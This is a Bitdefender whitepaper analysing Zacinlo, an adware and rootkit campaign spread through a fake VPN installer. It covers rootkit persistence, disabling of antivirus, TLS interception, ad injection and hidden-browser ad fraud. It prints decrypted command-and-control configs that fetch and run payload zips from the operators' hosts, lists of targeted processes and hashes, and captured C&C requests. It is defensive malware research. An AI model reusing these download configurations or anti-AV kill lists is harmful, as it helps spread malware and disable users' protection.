

# Bitdefender® Six Years and Counting: Inside the Complex Zacinlo Ad Fraud Operation



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## Foreword

For more than a decade, adware has helped software creators earn money while bringing free applications to the masses. Headliner games and applications have become widely available to computer and mobile users the world over, **with no financial strings attached.**

This contract between the developer and the consumer, however, is governed by third parties –the advertisers – the entities that absorb the product's cost in exchange for user-generated information and behavior. Enter the adware era.

While generating untold revenue for the companies that run these programs, adware has witnessed constant improvements over the years in both data collection and resilience to removal. The line between adware and spyware has become increasingly fuzzy during recent years as modern adware combines aggressive opt-outs with confusing legal and marketing terms as well as extremely sophisticated persistence mechanisms aimed at taking control away from the user. This whitepaper details an extremely sophisticated piece of spyware that has been running covertly since early 2012, generating revenue for its operators and compromising the privacy of its victims.

One of the perks of identifying a new strain of malware is getting to name it. We called this adware family "Zacinlo", after the final payload, although this might not be the most appropriate name for such a complex piece of code. In Slovenian, the term "začilno" translates to "temporary," but nothing is temporary in the way the adware operates. On the contrary, it has been active on the market for more than six years now, and the fallout it has brought to users won't be easily fixed anytime soon.

## Overview

Last year we came across a digitally signed rootkit capable of installing itself on most Windows operating systems, including the newest releases of Windows 10. Since rootkits these days account for under 1 percent of the malware output we see worldwide, this immediately drew our attention and prompted us to carry out an extensive analysis of the payload, its origins and the spread. We discovered an ample operation whose central component is a very sophisticated piece of adware with multiple functionalities.

Our information indicates that the adware has been active since 2012-2013. We have identified at least 25 different components found in almost 2,500 distinct samples. While tracking the adware, we noticed some of the components were continuously updated with new functionalities, dropped altogether or integrated entirely in other components. This once again reinforces our initial assumption that the adware is still being developed as of the writing of this paper.

While looking at the communication mechanism of the adware, we identified that a multitude of domains bought from Enom were acting as command-and-control centers. These domains were all registered to two email addresses, included in the IoC chapter at the end of this paper.

The main features of this adware that drew our attention are:


- The presence of a rootkit driver that protects itself as well as its other components. It can stop processes deemed dangerous to the functionality of the adware while also protecting the adware from being stopped or deleted. The presence of man-in-the-browser capabilities that intercepts and decrypts SSL communications. This allows the adware to inject custom JavaScript code into webpages visited by the user.
- It features an adware cleanup routine used to remove potential „competition” in the adware space. This routine is rather generic and does not target a particular family or type of adware.
- The adware can uninstall and delete services based on the instruction it receives from the command and control infrastructure.
- It reports some information about the environment it is running in to the C&C. This information includes whether an antimalware solution is installed (and if so, which one), which applications are running at start-up and so on.
- It takes screen captures of the desktop and sends them to the command and control center for analysis. This functionality has a massive impact on privacy as these screen captures may contain sensitive information such as e-mail, instant messaging or e-banking sessions.
- It can accommodate the installation of virtually any piece of software on the fly and thus extend its functionality.
- It features an automatic update mechanism.
- It redirects pages in browsers
- It adds or replaces advertisements while browsing by searching DOM objects by size, style, class or specific regular expressions
- Uses many platforms to pull advertising from advertising, including Google AdSense.
- Obsolete or expired ads can be easily replaced by new ones
- Silently renders webpages in the background in hidden windows and interacts with them as a normal user would: scrolling, clicking, keyboard input. This is typical behavior for advertising fraud that inflicts significant financial damage on online advertising platforms.
- Its extensive use of open-source projects and libraries (e.g: chromium, cryptopop, jsoncpp, libcef, libcurl, zlib, etc.)
- It uses Lua scripts to download several components (most likely as a way to fly under the radar of some antimalware

solutions that detect suspicious downloads and block them as such)


- Extremely configurable and highly modular design that can expand functionality via scripts and configuration files made available via the command and control infrastructure

## Spreading and geography

The vast majority of the samples we tracked were spotted in the USA and, in much lower numbers, in France, Germany, Brazil, China, India, Indonesia, Phillipines.




*Figure 1 – Distribution by Country*



*Figure 2 – Distribution by OS*


About 90 percent of the systems where the adware components were found were running Windows 10.



*Figure 3 – Samples / Year*

Components of this campaign seem to date back as far as 2012 but it appears the adware was most active in the final months of 2017.

The adware components are silently installed by a downloader that is presented as a free and anonymous VPN service (s5Mark), distributed in an installer. s5Mark has a simple graphical interface used as a decoy for the intrusive unwanted behavior taking place behind the scenes. Note that a non-technical user is led to believe that a VPN connection is established even though no such thing is even attempted.



*Figure 4 – Misleading GUI*

### Stage One: The Downloader

The infection chain starts with a downloader (*Figure 5*) that installs an alleged VPN application. Once executed, it downloads several other components, as well as a dropper (*Figure 6*) or a downloader (*Figure 7*) that will install the adware and rootkit components.

The dropper accommodates all the components in its resources section, where they are compressed and password-protected. Some versions of this attack uses a downloader instead of a dropper to download the adware and rootkit components. Another downloaded component (**Updater** from *Figure 2*) is again a downloader that acts as an updater and offers persistence for the components it downloads; it gets a configuration Json from the C&C that specifies the file to be downloaded. Our lab tests shows that this file was another version of the main downloader.

The other component downloaded by the main downloader is the VPN application. The latest version of the main downloader uses a Powershell command to disable real-time monitoring provided by Windows Defender before running. Realtime Monitoring is enabled again after successful installation of the adware.




Figure 5 – Main Downloader

The adware and rootkit dropper/downloader subsequently runs several executables that will further download other files and eventually the payload and deploys two drivers: a rootkit used for protection and persistence and a driver from the Netfiler SDK framework, a commercial solution for filtering network packets. The Netfilter driver is used to carry out the MITM attack and injection of scripts in web pages. One of the executables also installs a certificate needed for the MITM attack.





Figure 6 – Rootkit and Adware Dropper



*Figure 7 – Rootkit and Adware Downloader*

## Stage Two: The Rootkit Driver

The central piece of the adware is probably the rootkit driver, which is responsible for providing persistence and protection for the other components from being read, written or deleted. It is also used to patch or block antimalware services.

The analysed driver is digitally signed with a certificate from **Handan City Congtai District LiKang Daily Goods Department**, which is currently revoked. The certificate had a validity period between 06/28/2013 and 06/29/2014. Almost all rootkit samples found are signed with this certificate. The very few other certificates found are also expired and belong to: **Shanghai Domainlink Software Technology Co., Ltd.; Shanghai Daisi Software Technology Co.,Ltd.; BEIJING XINDA HUANYU NETWORK SECURITY TECHNOLOGY CO.,LTD.**

Among the targeted antimalware solutions are products developed by the following companies: **Bitdefender, Qihoo, Kingsoft, Malwarebytes, Symantec, Panda, HitmaPro, Avast, Avg, Microsoft, Kaspersky, Emsisoft and Zemana**. The rootkit finds them by file names or by Subject Name field in their certificates, then the antimalware modules are prevented from starting. In case of an infection, we recommend a System Scan using Bitdefender Rescue Mode to remove the rootkit and the adware components.

This rootkit component is highly configurable and stores all the configuration data encrypted inside the Windows Registry. It has also a very effective persistence method: during Windows Shut Down, it rewrites itself from memory to disk under a different name and it updates its registry key.

The rootkit redirects the access to the files in a directory that stores the user-mode component and the Netfilter driver; these are copied in other locations and started during the rootkit initialization phase. This is a hiding technique, when one of the monitored files is opened another clean file is served. The user-mode component that will later download and start the payload is started by the driver so that it leaves very few traces behind: a copy is made in another location and a process is created from the copied file. After the process is started, the copied file is overwritten with zeros. As a result, the user-mode component has no apparent persistence on the system and even its file leaves no forensic evidence. *Figure 8* details a diagram of the rootkit and how the components are interlinked.




Figure 8 – Rootkit Summary

1. The driver gets its configuration data from the Registry: names of AV processes to block, the files in the backup folder to be hidden, the files in the payload folder to be whitelisted.
2. The driver sets itself as a filter driver. Access to the files in the backup folder will be redirected to other clean files.
3. The driver copies the NetFilter driver (**zacinlo.sys**) from the backup folder to the **System32** directory, then it starts NetFilter.
4. The driver copies **zacinlo.exe** (or **msidntld.exe**) from the backup folder to **System32** folder and starts the application from the new location. After starting, the executable from **System32** folder is overwritten with zeros to prevent forensic analysis.
5. The driver registers different kernel callbacks. Callbacks for driver loading and process creation are used to prevent antimalware solutions from starting. A Registry callback is used to block access to the service key of the driver. A shutdown notification is used for persistence.
6. During shutdown, the driver creates a copy of its file with a new random name. The Registry service key for the driver is updated with the newly generated name.
7. The user-mode component loads (if not already loaded in step 3) and configures the NetFilter driver to inject scripts in web pages.
8. The user-mode component downloads and starts the payload files.

### Stage Three: The Payload

From a technical perspective, the payload falls under the adware category, as its main purpose is to display ads in web pages that the user visits and to open web pages that are hidden from the user.

The starting point is the user-mode application that is started by the rootkit (***zacinlosvc.exe*** or ***msidntld.exe*** are some of the possible names). The first important action it takes is to install a new trusted Certificate Authority (CA) in the local Windows Certificate Store and similar stores used by browsers (Firefox Certificate Database, the root store used by older versions of Opera, etc.).




Figure 9 – Installed Certificate

This certificate will be used to hijack secured web connections using MITM attack methods. Only specific processes will be attacked, including popular browsers: **Edge, Internet Explorer, Firefox, Chrome, Opera, Safari, etc.** The application also starts the Netfilter driver if it's not already started by the rootkit. The driver will be used as a tool by the user-mode application to intercept network traffic and inject scripts in web pages, even under secure connections.

A secured connection before and after the MITM attack can be seen below:



The screenshot shows a browser window for GitHub (https://github.com) with a certificate dialog open. The certificate details a DigiCert SHA2 Extended Validation Server CA issued to github.com. The developer tools Network tab shows the raw HTML of the page, including the SSL certificate information.

```

<link crossorigin="anonymous" media="all" integrity="sha512-ccY9KKeDzFGd+snVDZwCOIrTjK+JAFW4FR1c4OGJo1Z2QZNbAGWD6J1cnH1l9LBcdByHHVxwrAPwigT/v/DWyQ==" rel="stylesheet" href="https://assets-cdn.github.com/assets/site-7472e7b..css">
<link rel="canonical" href="https://github.com/" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<link rel="mask-icon" href="https://assets-cdn.github.com/pinned-octocat.svg" color="#000000">
<link rel="icon" type="image/x-icon" class="js-site-favicon" href="https://assets-cdn.github.com/favicon.ico">
<meta name="theme-color" content="#1e2327">
<meta name="u2f-support" content="true">
<link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive min-width-0 f4">
  <div class="position-relative js-header-wrapper">...</div>
  <div id="start-of-content" class="show-on-focus"></div>
  <div id="js-flash-container"></div>
  <div role="main" class="application-main">...</div>
  <div class="footer container-lg p-responsive mt-6" role="contentinfo">...</div>
  <div id="ajax-error-message" class="ajax-error-message flash flash-error">...</div>
  <script crossorigin="anonymous" integrity="sha512-HD3VGNUZdKcyhzxthfJME6V4ByRTPdCgqlqq7sPm8jfweQQjz00nAJzWHAR9GUDip2yVHqsXh6JxKnc23/4rGQ==" type="application/javascript" src="https://assets-cdn.github.com/assets/frameworks-2afbd5d..js"></script>
  <script crossorigin="anonymous" async="async" integrity="sha512-8KvfmvJ1NQr+hV/>
  ...
  <script type="text/javascript" charset="utf-8" id="tr-app" src="https://cdn.optic.com/jquery.min.js?u=default&f=28s=500,400,50,50"></script> == $0
  <script src="https://cdn.optic.com/serve?u=default&z=0-WyIILDE5MjAsNTEwNSw5NTQsOTc..OPTE7IF9vY3RvPudIM54XLjcyMDYzHDMzNy4xNTI2NDY3HDMwI10&s=50%2C400%2C50%2C50" charset="utf8" type="text/javascript"></script>
</head>
<body class="logged-out env-production page-responsive min-width-0 f4">
  <div class="position-relative js-header-wrapper">...</div>
  <div id="start-of-content" class="show-on-focus"></div>
  <div id="js-flash-container"></div>
  <div role="main" class="application-main">...</div>
  <div class="footer container-lg p-responsive mt-6" role="contentinfo">...</div>
  <div id="ajax-error-message" class="ajax-error-message flash flash-error">...</div>
  ...

```

Figure 10 – Unaltered Secured Connection

The screenshot shows a browser window for GitHub (https://github.com) with a certificate dialog open. The certificate details a SecureTrust Network Root CA 2 issued to github.com. The developer tools Network tab shows a modified SSL certificate response containing injected JavaScript code, specifically a 'tr-app' script from cdn.optic.com.

```

<link crossorigin="anonymous" media="all" integrity="sha512-ccY9KKeDzFGd+snVDZwCOIrTjK+JAFW4FR1c4OGJo1Z2QZNbAGWD6J1cnH1l9LBcdByHHVxwrAPwigT/v/DWyQ==" rel="stylesheet" href="https://assets-cdn.github.com/assets/site-7472e7b..css">
<link rel="canonical" href="https://github.com/" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<link rel="mask-icon" href="https://assets-cdn.github.com/pinned-octocat.svg" color="#000000">
<link rel="icon" type="image/x-icon" class="js-site-favicon" href="https://assets-cdn.github.com/favicon.ico">
<meta name="theme-color" content="#1e2327">
<meta name="u2f-support" content="true">
<link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
  ...
  <script type="text/javascript" charset="utf-8" id="tr-app" src="https://cdn.optic.com/jquery.min.js?u=default&f=28s=500,400,50,50"></script> == $0
  <script src="https://cdn.optic.com/serve?url=default&z=0-WyIILDE5MjAsNTEwNSw5NTQsOTc..OPTE7IF9vY3RvPudIM54XLjcyMDYzHDMzNy4xNTI2NDY3HDMwI10&s=50%2C400%2C50%2C50" charset="utf8" type="text/javascript"></script>
</head>
<body class="logged-out env-production page-responsive min-width-0 f4">
  <div class="position-relative js-header-wrapper">...</div>
  <div id="start-of-content" class="show-on-focus"></div>
  <div id="js-flash-container"></div>
  <div role="main" class="application-main">...</div>
  <div class="footer container-lg p-responsive mt-6" role="contentinfo">...</div>
  <div id="ajax-error-message" class="ajax-error-message flash flash-error">...</div>
  ...

```

Figure 11 – Hijacked Secured Connection

In a hijacked connection that takes place via TLS, the original site certificate is replaced and the page contains an injected script (highlighted in *Figure 11*). The script is external and found on **cdn.optic.com**. The script collects information about the browser (version, cookies, visited URL, timezone, language, etc), and generates a new external script found on the same C&C with the collected data encoded in base64 (the script just after the highlighted one in *Figure 11*). The received script contains a configuration JSON that tells the script what advertisements should be added and where.

The JSON contains an array of objects that also specify how the ads should be inserted. Here is one example:

```

...
{
    "t": "banner",
    "n": "\u66ff\u6362 120x600",
    "id": "",
    "cls": "",
    "width": 120,
    "height": 600,
    "method": 3,
    "align": "r",
    "valign": "b",
    "x": 0,
    "y": 0,
    "close_button": false,
    "close_auto": false,
    "close_timeout": 3,
    "fade_enabled": true,
    "fade_timeout": 3,
    "test_enabled": true,
    "test_selector": "",
    "test_js": "",
    "test_x": "ud",
    "test_offset_x": 10,
    "test_y": "ud",
    "test_offset_y": 25,
    "output": 3,
    "replace_method": 6,
    "replace_limit": 2,
    "rotate_enabled": false,
    "rotate_limit": true,
    "rotate_interval": 10,
    "rotate_random": false,
    "rotate_times": 1,
    "ads": [{"Google 120x600", "code", "<script async src=\"//pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"></script>\n!-- 1-120600 -->\n<ins class=\"adsbygoogle\"\n      style=\"display:inline-block;width:120px;height:600px\"\n      data-ad-client=\"ca-pub-5342417538670803\"\n      data-ad-slot=\"9746813776\">\n</ins>\n<script>(adsbygoogle = window.adsbygoogle || []).push({});</script>"]},
    "c": "",
    "tip_pos": "lb",
    "tip_enabled": true,
    "tip_text": "AD",
    "_id": 198712
},
...

```

#### *JSON configuration file*

For this case, it injects one Google AdSense ad into the page with the advertiser account ID **5342417538670803**. The other fields specify how the ad will be presented: if there is more than one ad they can be switched after some time, if the ad has a close button, if the ad closes automatically after a time, if the ad should replace another ad or just be added in page and so on. The JSON also contains other advertiser types from:

**cdn.downloadtraffic.com**  
**n131adserv.com**  
**egreader.com**

Even though the accounts for these IDs would eventually be blocked when fraudulent or abusive use gets picked up by the advertiser's automated controls, **new ads could be injected easily because the payload only needs an updated JSON from the C&C**.

The second main purpose of the executable (**zacinlosvc.exe**) is to download other payload files. During our analysis, we noticed two files were downloaded: **svcmvx.exe** and **vmxclient.exe**. These files get placed in a random directory in **%LOCALAPPDATA%** or **%PROGRAMFILES%**. The files have no direct persistence on the system and are started by the above user-mode app **zacinlosvc.exe** (which in turn is started by

the rootkit). Every process is started by the original process started by the rootkit so that fewer traces of malware are left behind. The two files, however, are not protected or hidden and, if they get deleted, they will be downloaded again when the chain is started by the rootkit.




Figure 12 – Payload Execution

The two files work in a Master/Slave model. The master process (**svcvmx.exe** in *Figure 12*) contacts the C&C and sends some information (OS version, MAC address, CPU info, etc) and will receive a list of sites to be visited. The data received from the C&C is encoded as JSON objects holding the websites and LUA commands such as: *SendMouseMoveBrowser*, *SendMouseClick*, *SendMouseWheel*, *RandScroll*, *InjertJS*, *OpenUrl*, *Back*, *Forward*, *Reload*, *InputString*, etc. The scripts from the C&C specialize in opening pages, inserting JS scripts and emulating regular user behavior such as scrolling and clicking.

The master process then starts the slave process (**vmxclient.exe** in *Figure 12*) and the two processes communicate over a named pipe. The slave contains code for a LUA interpreter and the Chromium Embedded Framework (CEF); it is built as a basic, custom browser that can run LUA scripts. The scripts received by the master process from the C&C are sent through the named pipe to the slave process, which will execute them and therefore generate traffic on different sites.

Because the slave is using the multi-process CEF library, it will spawn several child processes during the browsing process. It is important to mention that the slave process is started in a newly created Desktop, not inside the Default one, and as such the rendered browsers will be hidden from the user.




Figure 13 – Hidden Rendered Page

The components we documented above form the building blocks of the adware framework. Some versions of downloaders and droppers will install additional components, several of which are interconnected and will check for the presence of other components. If they are not installed, they are downloaded and set as persistent to survive reboots. Some components will harvest more info about the system, take screenshots and send the collected information to the C&C. Others have the ability to kill processes. Large lists with of executable names or MD5 hashes are received from C&C and the processes that match any of them are terminated.

```
Decrypted response:
["30532e1c8400847b7c67a9096516d25", "99e33f82931a7542638c9034abbde289", "ddff652efaidac133a190b1287da0205", "584d5e55e861fef120cda572278d7f6d", "3a00ef09ab022648b4d63a9e6976108", "e016903a967c52ea963c07faf0e003456", "eb09f437ea6fe1e8b61700be27053c25", "3ff5a97fd16d5573ba016997bcf1f290", "efff8f60b2c35fbhd27d398f418041fa3", "721e75a964723b8079e85008060613ab", "33dce7ed214422191e83caf6afea2861", "ee414bcc2850d5be5a378d67f20e02f", "4ff26d9ccf0b6a91c507cfc447ca3", "1a2adcfc2c7ee848414ee8936c052661", "ab792a8cc0d10a9dd5398e887e2535f696", "06c9abf5addf0313fe261c86c7144d8a", "03cb0b773353e6d8a602cd53c838ed2", "7a4de3a6ed0ce6a1a4a73879a964fe0", "4c8319cb89f3d65c6d7e8b224b32e129", "08ea2171hd7c0bf8622e7e613ea23", "60a9a8cc201b5f82d48f8052668189", "1281ac3f8cdf52b4cfad8d2ec2b19cf", "9938ha7ac0e02d4c8379e4ca6926e8", "d265191b2436b4305ba8e607bb14bc6", "3af565cd0acd0f009c0936c5f1438cc6", "350c147d2269e22272f6df3a9f871ee", "58hb884c31049cf78a98bce23bb2e", "c0214ee78b3547a9df657350f59c64", "e3f334c12d79938282b268e5dad7ff7fc", "1c015c9c2a69d7ece59fbc476d212be5", "d4f8a1cef2d827929cbb1bb528de34af", "7973327f99cd8ba1f8e669f0de67086", "729f946ah5cd7f51f0e78d139bb8ed", "e03727972cc5cd29e2a319149708505", "b43d0418b4a6f8b387ec36b213a6836b8", "7a38a5dc24fc7hd7269a247252f61f5", "d8c25ed0228185674e27760e1751a1a4", "e95fb211a92f8e969127ab930b39a525f1", "428ahbf307a983c1b2d91fce546f781", "febbh7c10f02848a4c318c769f217d", "4732c2f700f0a1912c7a5e2d84c891d", "7fa78591b8a4f80e943a898e58901", "37a225c8041fla3c3b1e9987e43d3038", "56a98bf8438750bf257625clde533", "168db3f3d10e528a8ff2225364780835", "816d6db5a4a495d97db271a24fa7d541", "895a75545496ccbada757523a5854", "3886e921f5ad425dc291eab4d45f58", "fd792ef1d1ad551c71a0bfbe7ba9010", "d25d0866656c0e0388f5bf2081e4121", "e73a5079c9ab0a1b9306d82221428", "def70dab10519f30d0a3bd0b99343d0", "256f86f65489fb4759990865009d0521", "63d3d4e95e49c2f67381222752", "535cd6fb8502b273a12baf79901dc1b7", "52ba529cd417b5cadbd7572f1f1d1f0", "eb0a0f04f4fc2e0ab8adf361549f542ha", "bd019f0a0ded0b2c60e42d3c6b2c70a", "ae88b81d6da746f39d29f010d4b479502", "1f19f15089f92cc866bf34b00c121c4", "a22dc8cfc6502f761f901554a9fh15b6", "5665375d2ed88db38e9ab59a8dec80b", "a3604b8512b4005672f260c7d179902", "ed826b481216f1ba60b232912b3f9fc", "6ce200e965ef7de529e3c1233f9951", "20952c5f3b1e8462c265f16c496ea439", "0b8af4ef8a63f238ef69793f8759b1e", "a7c6clf43d335a92ecf5dac457ecb810", "cae8a29c47e674c447905807d454ee4c", "3310a6d0e3302156506f68d3148a9c2", "19485c11d728918215769a0eed9543f2", "929d2cf59d0745e746211ad59ec10337", "97a0149b83134ce687a95d0f43bf", "2e60a4448220f25263520016339b5e36", "872b586acf65ef423b8e06116602c622", "890b7e2c39ef4d2f53dc5108d5ca5e4", "518hc64f6d33fedfa60543623abcef935", "0d79d1712ba6af681f171b2f36bfdfc", "ad4b4a68832324dd10a4df1e4d80258f", "39095227ca169ae9c6b661b477894eb", "a64aaaf5324bef7005b3cebd3e23fd172", "4ade14e2e2d626c9c979a0c19fb308fc", "08f6cd97e038788c98a7723249488b65"]
```

Figure 14 – Some Targeted Hashes

```
Decrypted response:
["autostart:MainService.exe", "autostart:H83MCKIDUG.exe", "autostart:PCAcceleratePro.exe", "autostart:IW1K8FLJ8.exe", "autostart:98UKHU9V9D.exe", "autostart:TESTUK.exe", "autostart:BestCleaner.exe", "autostart:InstantSupport.exe", "serviceexist:.....exe", "autostart:85mark.*.exe", "autostart:magnusson.exe", "autostart:vkise.exe", "autostart:leaping.exe", "autostart:UpdateAdmin.exe", "autostart:intersta.t.exe", "autostart:interstatnotgui.exe", "autostart:belle.exe", "autostart:ic-*.*.exe", "autostart:RzSynapse.exe", "serviceexist:isewrw.exe", "serviceexist:ScreenshotProServ.exe", "serviceexist:setr.exe", "autostart:ANONYMIZERLAUNCHER.EXE", "autostart:Vestie.exe", "autostart:UPDAgent_x64.exe", "autostart:kmskysecqun64.exe", "autostart:produp.exe", "autostart:gopidul.exe", "autostart:elitehk.exe", "autostart:dsrlte.exe", "autostart:xmkysecqun64.exe", "autostart:xseedxi.exe", "autostart:wizzcaster.exe", "autostart:win_en_???.exe", "autostart:setmyhomepage.exe", "autostart:Musgownyo.exe", "autostart:lowyku.exe", "autostart:Hemkajdoa.exe", "autostart:GuvtDhji.exe", "autostart:q3Ci_CGup.exe", "autostart:Geunfy.exe", "autostart:Ueticeq.exe", "autostart:Unokucu.exe", "autostart:fastweb.exe", "autostart:winlogger.exe", "autostart:WindowWeather.exe", "autostart:ratcht.exe", "autostart:smolder.exe", "autostart:internetport3.exe", "autostart:foreplay.exe", "autostart:footprints.exe", "autostart:dekker.exe", "autostart:AppVerifier.exe", "autostart:SunnyDay.exe", "serviceexist:Vestie.exe", "serviceexist:caster.exe", "serviceexist:UPDagent_x64.exe", "serviceexist:Rawei.exe", "serviceexist:dsrlte.exe", "serviceexist:maintainer.exe", "serviceexist:xmkysecqun64.exe", "serviceexist:xseedxi.exe", "serviceexist:win_en_???.exe", "serviceexist:Musgownyo.exe", "serviceexist:lowyku.exe", "serviceexist:Hemkajdoa.exe", "serviceexist:GuvtDhji.exe", "serviceexist:q3Ci_CGup.exe", "serviceexist:Geunfy.exe", "serviceexist:Ueticeq.exe", "serviceexist:Unokucu.exe", "serviceexist:fastweb.exe", "serviceexist:YDownloader.exe", "serviceexist:winlogger.exe", "serviceexist:WindowWeather.exe", "serviceexist:smolder.exe", "serviceexist:internetport3.exe", "serviceexist:foreplay.exe", "serviceexist:footprints.exe", "serviceexist:dekker.exe", "serviceexist:AppVerifier.exe", "serviceexist:SunnyDay.exe", "serviceexist:Winsrcrv.exe", "serviceexist:Winupdatehong.exe", "autostart:ANONYMIZERLAUNCHER.EXE", "autostart:REOPTINZER.exe", "autostart:UDSAURE.exe", "autostart:OFIMUM.*", "autostart:MYTRANSITGUIDE.exe", "autostart:PCCLERNPLUS.exe", "autostart:winwb.exe", "autostart:pce4.exe", "autostart:Prime_Updater.exe"]
```

Figure 15 – Some Targeted Processes

Apparently, not only security solutions are targeted but other adware processes as well. The targeted adware is not specific, but belongs to many different families. We presume that the operators of Zacinlo are either competing against other adware rings or just fighting for system resources as the page rendering, browsing pages and videos consumes significant CPU cycles and network bandwidth.

The files in this introduction come with different names, depending on version. We collected samples from various time periods to see how this campaign evolved from an emerging threat into a highly effective and aggressive adware campaign with obvious signs of malware behavior.

We will discuss the technical particularities of the binaries in the following chapters.

## The main downloader

The main downloader is the initial point of compromise. It is a Trojanized application advertised as a free and anonymous VPN service and is usually distributed on the network. To fulfill its tasks, this component uses open-source projects like: zlib, http-parser, jsoncpp and tinyxml. Once executed it starts decrypting its “XML” directory resources using the xor operation with 0xC3 as key.

After decryption, the XML is parsed using *tinyxml*, and the configuration information inside is used to contact the C&C and download files from it. Another encrypted configuration file is downloaded from the C&C which will be decrypted using XOR with 0x7B as key. Its purpose is to specify which registry keys to create and what components to download, what file type these were, where to be saved, as well as how to execute them.

### Decrypted response:

```
"prekey": [
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\s5mark",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\s5mark",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\s5m",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\s5m",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\xs",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\xs",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\s5mark",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\s5mark"
],
"postkey": [
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\s5m",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\s5m"
],
"softinfo": [
    {
        "id": 10000,
        "type": "zip",
        "ratio": 2,
        "url": "http://ad.downloadyee.com/s9.zip",
        "exename": "s9.exe",
        "cmd": "/service",
        "foldertype": "programdata"
    },
    {
        "id": 30001,
        "type": "zip",
        "ratio": 2,
        "url": "http://ad.downloadyee.com/toolbar/setup0904.zip",
        "exename": "setup0904.exe",
        "cmd": "-insta",
        "foldertype": "tmp"
    },
    {
        "id": 30002,
        "type": "zip",
        "ratio": 2,
        "url": "http://ad.downloadyee.com/toolbar/s5m_install_325.zip",
        "exename": "s5m_install_325.exe",
        "cmd": "sinit",
        "foldertype": "tmp"
    }
]
```

Other connections to C&C are made, but unfortunately the API seems to be down

```
GET /entry/track/event-fb?label=_toolbar_distribution&ref=_&mac=33DD560C893E6781A7C04785BA49B807&events=e3%3dPreKeyOK&crc=5449 HTTP/1.1
Accept: */*
Connection: Keep-Alive
Host: www.yeehbuy.com
Referer: http://www.yeehbuy.com/entry/track
User-Agent: wget

HTTP/1.1 302 Found
Server: nginx/1.4.6 (Ubuntu)
Date: Wed, 28 Mar 2018 13:44:29 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 29
Connection: keep-alive
Location: /error
Set-Cookie: beegoSessionID=fd5530c1034aa1e9b239a62f190c87c8; Path=/; Expires=Wed, 28 Mar 2018 15:24:29 GMT; Max-Age=6000; HttpOnly
Set-Cookie: lang=en-US; Expires=Mon, 15 Apr 2086 16:58:36 UTC; Max-Age=2147483647; Path=/
Set-Cookie: BEEGO_FLASH=%00error%23BEEGOFLASH%23Request+Url+Params+Error%00; Path=/

<p>href="#">Found</p>
```



```
GET /entry/tbsetup/fbinstall?tid=&aid=&mac=33DD560C893E6781A7C04785BA49B807&type=dblclick&crc=229 HTTP/1.1
Accept: /*
Connection: Keep-Alive
Host: www.yeehbuy.com
Referer: http://www.yeehbuy.com/entry/tbsetup
User-Agent: wget

HTTP/1.1 302 Found
Server: nginx/1.4.6 (Ubuntu)
Date: Wed, 28 Mar 2018 13:44:29 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 29
Connection: keep-alive
Location: /error
Set-Cookie: beegosessionID=7acddef45d70a07f9941fb226aadd6b3; Path=/; Expires=Wed, 28 Mar 2018 15:24:29 GMT; Max-Age=6000; HttpOnly
Set-Cookie: lang=en-US; Expires=Mon, 15 Apr 2086 16:58:36 UTC; Max-Age=2147483647; Path=/
Set-Cookie: BEEGO_FLASH=%00error%23BEEGOFLASH%23Request+Url+Params+Error%00; Path=/

<a href="/error">Found</a>.
```

```
{
    "code": 0,
    "msg": "Success",
    "data": null
}
```

For the previous request we were able to recover the C&C's response:

```
GET /entry/track/event-fb?label=_toolbar_distribution&ref=_&mac=33DD560C893E6781A7C04785BA49B807&events=e6%3dWin7&crc=11339 HTTP/1.1
Accept: /*
Connection: Keep-Alive
Host: www.yeehbuy.com
Referer: http://www.yeehbuy.com/entry/track
User-Agent: wget

HTTP/1.1 302 Found
Server: nginx/1.4.6 (Ubuntu)
Date: Wed, 28 Mar 2018 13:44:29 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 29
Connection: keep-alive
Location: /error
Set-Cookie: beegosessionID=b906ca3d9b758cb0580ee4c2c52c1bcd; Path=/; Expires=Wed, 28 Mar 2018 15:24:29 GMT; Max-Age=6000; HttpOnly
Set-Cookie: lang=en-US; Expires=Mon, 15 Apr 2086 16:58:36 UTC; Max-Age=2147483647; Path=/
Set-Cookie: BEEGO_FLASH=%00error%23BEEGOFLASH%23Request+Url+Params+Error%00; Path=/

<a href="/error">Found</a>.
```

## The Updater

This component acts as a secondary downloader, as well as an updater. The executable can handle these command line arguments:

**-UnregServer**

**-RegServer**

**-Service**

**-UnregServerPerUser**

**-RegServerPerUser**

The sample starts extracting an encrypted config from its resources:

```
{
    "domains" : [
        "tracking.photoyee.com",
        "tracking.weiboniu.com",
        "tracking.yeehbuy.com",
        "tracking.downloadyee.com",
    ]}
```



```

        "tracking.downloadyeah.com"

    ],
    "taskUri" : "/up/9/r%d/up.bin",
    "AName" : "UdvdPork",
    "BName": "WUDvdPork",
    "upDirName" : "b7srv",
    "taskDirName": "v7srv7task",
    "infoName" : "up7dt7info",
    "svcDesc" : "Windows Media Udapoker"
}

}

```

